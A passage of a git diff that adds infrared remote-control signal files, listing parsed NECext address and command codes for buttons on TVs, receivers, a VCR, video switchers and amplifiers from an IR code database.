FOCUS_OUT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 42 00 00 00 +# +name: ZOOM_IN +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 54 00 00 00 +# +name: ZOOM_OUT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 55 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 56 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 59 00 00 00 +# +name: INPUT_S_VIDEO +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 5F 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 7B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir new file mode 100644 index 000000000..35c518125 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: MTS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: PWR_ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2E 00 00 00 +# +name: PWR_OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: LINE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 40 00 00 00 +# +name: RGB1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 43 00 00 00 +# +name: RGB2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 44 00 00 00 +# +name: Y/C +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4D 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 60 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 65 00 00 00 +# +name: SELECT+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 74 00 00 00 +# +name: SELECT- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 75 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir new file mode 100644 index 000000000..4a80ef71d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: H_SHIFT +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 10 00 00 00 +# +name: V_SHIFT +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 11 00 00 00 +# +name: H_SIZE +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 12 00 00 00 +# +name: V_SIZE +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 13 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir new file mode 100644 index 000000000..9d217309c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: ASPECT +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 3D 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 7D 00 00 00 +# +name: DEGAUSS +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir new file mode 100644 index 000000000..e453ade05 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: PRESET_UP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 10 00 00 00 +# +name: PRE_UP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 10 00 00 00 +# +name: PRESET_DN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 11 00 00 00 +# +name: PRE_DN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 11 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 12 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 13 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 14 00 00 00 +# +name: VID2 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1E 00 00 00 +# +name: VID_2 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1E 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 21 00 00 00 +# +name: VID1 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 22 00 00 00 +# +name: VID_1 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 22 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 23 00 00 00 +# +name: MD_TAPE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 23 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 25 00 00 00 +# +name: CD/SACD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 25 00 00 00 +# +name: PWR_ON +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 2E 00 00 00 +# +name: PWR_OFF +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 2F 00 00 00 +# +name: VID3 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 42 00 00 00 +# +name: VID4 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 43 00 00 00 +# +name: MD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 69 00 00 00 +# +name: TV/_SAT/_CABLE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 6A 00 00 00 +# +name: TV_SAT +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 6A 00 00 00 +# +name: LD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 6B 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir new file mode 100644 index 000000000..eb8352983 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: NITE_MODE +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 20 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir new file mode 100644 index 000000000..cff687942 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 09 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: CH_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: CH_DN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 12 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: VID_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1E 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 21 00 00 00 +# +name: VID_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 23 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: PWR_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2E 00 00 00 +# +name: PWR_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2F 00 00 00 +# +name: VID5 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 41 00 00 00 +# +name: VID3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 42 00 00 00 +# +name: VID4 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 43 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4B 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 53 00 00 00 +# +name: TV/SAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6A 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir new file mode 100644 index 000000000..cd657a53d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 19 6B 00 00 +command: 12 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 19 6B 00 00 +command: 13 00 00 00 +# +name: VID_2 +type: parsed +protocol: NECext +address: 19 6B 00 00 +command: 1E 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 19 6B 00 00 +command: 21 00 00 00 +# +name: VID_1 +type: parsed +protocol: NECext +address: 19 6B 00 00 +command: 22 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 19 6B 00 00 +command: 23 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 19 6B 00 00 +command: 25 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 19 6B 00 00 +command: 2E 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 19 6B 00 00 +command: 2F 00 00 00 +# +name: VID_3 +type: parsed +protocol: NECext +address: 19 6B 00 00 +command: 42 00 00 00 +# +name: MD +type: parsed +protocol: NECext +address: 19 6B 00 00 +command: 69 00 00 00 +# +name: TV_SAT +type: parsed +protocol: NECext +address: 19 6B 00 00 +command: 6A 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 19 6B 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir new file mode 100644 index 000000000..40554ae22 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER +type: parsed +protocol: NECext +address: 19 0B 00 00 +command: 21 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 19 0B 00 00 +command: 25 00 00 00 +# +name: VID_3 +type: parsed +protocol: NECext +address: 19 0B 00 00 +command: 42 00 00 00 +# +name: TV_SAT +type: parsed +protocol: NECext +address: 19 0B 00 00 +command: 6A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir new file mode 100644 index 000000000..6d95867a7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 13 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir new file mode 100644 index 000000000..56adf6212 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: PRESET_UP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: PRESET_DOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/1,-1.ir new file mode 100644 index 000000000..bd2d9588c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/1,-1.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: GUIDE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: ANT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2A 00 00 00 +# +name: PWR_ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2E 00 00 00 +# +name: PWR_OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: IN1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 40 00 00 00 +# +name: IN2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 41 00 00 00 +# +name: IN3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 42 00 00 00 +# +name: IN4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 47 00 00 00 +# +name: IN5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 48 00 00 00 +# +name: PIP_ON_OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5B 00 00 00 +# +name: PIC_MODE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5E 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 63 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/164,-1.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/164,-1.ir new file mode 100644 index 000000000..e4c98612a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/164,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: JUMP +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 3B 00 00 00 +# +name: WIDE_MODE +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 3D 00 00 00 +# +name: WIDE_ZOOM +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 42 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/26,26.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/26,26.ir new file mode 100644 index 000000000..f3f5bcf8f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/26,26.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 0F 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 10 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/84,-1.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/84,-1.ir new file mode 100644 index 000000000..12c98c4c4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/84,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 33 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 34 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 35 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir new file mode 100644 index 000000000..19da0a89d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: CH_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: CH_DN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 16 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 18 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 19 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1A 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1B 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1C 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1D 00 00 00 +# +name: AUTO_TRACKING +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 27 00 00 00 +# +name: ANT_VCR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2D 00 00 00 +# +name: PWR_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2E 00 00 00 +# +name: PWR_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2F 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 31 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3E 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 42 00 00 00 +# +name: CURSER_DN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 43 00 00 00 +# +name: TRACKING +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 45 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 46 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 51 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir new file mode 100644 index 000000000..36ba04282 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: chplus +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 01 00 00 00 +# +name: chmin +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 02 00 00 00 +# +name: volplus +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 03 00 00 00 +# +name: volmin +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 04 00 00 00 +# +name: mute +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: sleep +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0C 00 00 00 +# +name: tvav +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0D 00 00 00 +# +name: power +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0E 00 00 00 +# +name: call +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 19 00 00 00 +# +name: 1- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1A 00 00 00 +# +name: 2- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1B 00 00 00 +# +name: 3- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1C 00 00 00 +# +name: 4- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1D 00 00 00 +# +name: funct +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 58 00 00 00 +# +name: functplus +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 59 00 00 00 +# +name: functmin +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir b/assets/resources/infrared/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir new file mode 100644 index 000000000..690574883 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: IN_1 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0A 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0A 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0C 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0E 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 1F 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir new file mode 100644 index 000000000..3cb313583 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: IN_1_TO_TV_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: IN_2_TO_TV_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: IN_3_TO_TV_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: IN_2_TO_TV_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: IN_1_TO_TV_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: IN_4_TO_TV_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: IN_3_TO_TV_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: IN_4_TO_TV_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir new file mode 100644 index 000000000..6f1b1f7f0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: SWITCH_INPUT_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: SWITCH_INPUT_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: SWITCH_INPUT_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: SWITCH_INPUT_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: VOL_UP_(2DB) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: VOL_DN_(2DB) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 13 00 00 00 +# +name: NEXT_CHANNEL +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: TOGGLE_MUTE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: VOL_DN_(4DB) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: VOL_UP_(4DB) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Calypso/Control System/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Calypso/Control System/1,-1.ir new file mode 100644 index 000000000..874069a55 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Calypso/Control System/1,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: CT_065 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: CT_066 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: CT_067 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: CT_068 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: CT_069 +type: parsed +protocol: NECext 